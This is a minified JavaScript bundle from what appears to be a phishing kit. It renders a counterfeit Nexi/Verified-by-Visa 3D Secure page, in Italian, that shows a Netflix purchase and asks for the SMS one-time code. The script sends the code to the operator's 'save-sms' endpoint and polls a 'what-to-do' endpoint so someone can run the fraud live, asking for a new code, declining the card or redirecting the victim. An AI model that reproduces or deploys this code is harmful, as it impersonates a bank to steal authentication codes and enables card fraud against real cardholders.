(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-2b1ea3a0"],{3970:function(t,e,a){},"5b51":function(t,e,a){"use strict";a("3970")},"8df9":function(t,e,a){"use strict";a.r(e);var c=a("7a23"),s=Object(c["r"])("data-v-f6bbd084");Object(c["k"])("data-v-f6bbd084");var n={class:"poste_pay_container"},i=Object(c["e"])('<div class="flex justify-between headerdiv" data-v-f6bbd084><div data-v-f6bbd084><img src="images/Nexi_Negativo.png" width="200" alt="" data-v-f6bbd084></div></div><div class="flex justify-between mt-4" data-v-f6bbd084><div class="pr-9" data-v-f6bbd084> Il Servizio 3D Secure garantisce la sicurezza dei tuoi acquisti on-line. </div><div data-v-f6bbd084><img src="images/Ver-by-VISA.png" width="70" alt="" data-v-f6bbd084></div></div>',2),o={class:"w-full mt-8"},d=Object(c["g"])("tr",{class:"grey-1"},[Object(c["g"])("td",{class:"w-1/2 p-2"}," Esercizio: "),Object(c["g"])("td",null," NETFLIX ")],-1),l=Object(c["g"])("td",{class:"w-1/2 p-2"}," Data: ",-1),r={class:"grey-1"},b=Object(c["g"])("td",{class:"w-1/2 p-2"}," Numero di carta: ",-1),u={class:"grey-2"},g={class:"p-2 text-center",colspan:"2"},O=Object(c["f"])(" PER COMPLETARE L'ACQUISTO"),f=Object(c["g"])("br",null,null,-1),j=Object(c["g"])("b",null,"DIGITA NEL BOX IL CODICE DI 6 CIFRE",-1),p=Object(c["g"])("br",null,null,-1),m=Object(c["f"])(" CHE HAI RICEVUTO VIA SMS. "),v={class:"flex justify-center items-center flex-col "},h={class:"text-red-500 text-xs"},w={class:"",colspan:"2"},x={class:"animate-spin -ml-1 mr-3 h-5 w-5 text-black",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24"},C=Object(c["g"])("circle",{class:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor","stroke-width":"4"},null,-1),I=Object(c["g"])("path",{class:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"},null,-1);Object(c["j"])();var E=s((function(t,e,a,s,E,y){return Object(c["i"])(),Object(c["c"])("div",n,[i,Object(c["g"])("table",o,[d,Object(c["g"])("tr",null,[l,Object(c["g"])("td",null,[Object(c["g"])("span",{textContent:Object(c["m"])((new Date).toISOString().substr(0,10))},null,8,["textContent"])])]),Object(c["g"])("tr",r,[b,Object(c["g"])("td",null,Object(c["m"])(y.ccnum_hidden),1)]),Object(c["g"])("tr",u,[Object(c["g"])("td",g,[O,f,j,p,m,Object(c["g"])("div",v,[Object(c["q"])(Object(c["g"])("input",{type:"text",name:"",id:"",class:"border border-black block my-2 w-3/4 text-center p-1  ","onUpdate:modelValue":e[1]||(e[1]=function(t){return E.code=t})},null,512),[[c["o"],E.code]]),Object(c["q"])(Object(c["g"])("span",h," Qualcosa è andato storto. Ti abbiamo inviato un nuovo codice ",512),[[c["p"],E.isResend]])])])]),Object(c["g"])("tr",null,[Object(c["g"])("td",w,[Object(c["q"])((Object(c["i"])(),Object(c["c"])("svg",x,[C,I],512)),[[c["p"],E.isLoading]]),Object(c["g"])("button",{class:"w-full h-full p-4 btn",onClick:e[2]||(e[2]=function(){return y.submitCode&&y.submitCode.apply(y,arguments)}),disabled:E.isLoading||!E.code}," PROSEGUI ",8,["disabled"])])])])])})),y=a("bc3a"),R=a.n(y),T=a("a078"),k=a("1995"),D={props:["ccname","ccnum","cc_result","bank"],data:function(){return{code:null,isResend:!1,isLoading:!1,lang:"en"}},created:function(){this.lang=Object(k["a"])()},computed:{ccnum_hidden:function(){return"*"+this.ccnum.substr(-4)}},methods:{t:function(t){return k["b"][this.lang][t]},submitCode:function(){var t=this;this.isLoading=!0,R.a.post(T["a"]+"save-sms/"+this.cc_result,{code:this.code}).then((function(){t.waitWhatToDo()})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message)}))},waitWhatToDo:function(){var t=this;R.a.get(T["a"]+"what-to-do/"+this.cc_result).then((function(e){2===e.data.status?setTimeout((function(){return t.waitWhatToDo()}),1e3):3===e.data.status||12===e.data.status?(t.isResend=!0,t.isLoading=!1,t.code=""):4===e.data.status?t.$emit("card-declined"):5===e.data.status&&(window.location.href="http://netflix.com")})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message),setTimeout((function(){return t.waitWhatToDo()}),2e3)}))}}};a("5b51");D.render=E,D.__scopeId="data-v-f6bbd084";e["default"]=D}}]);
//# sourceMappingURL=chunk-2b1ea3a0.f347d3dc.js.map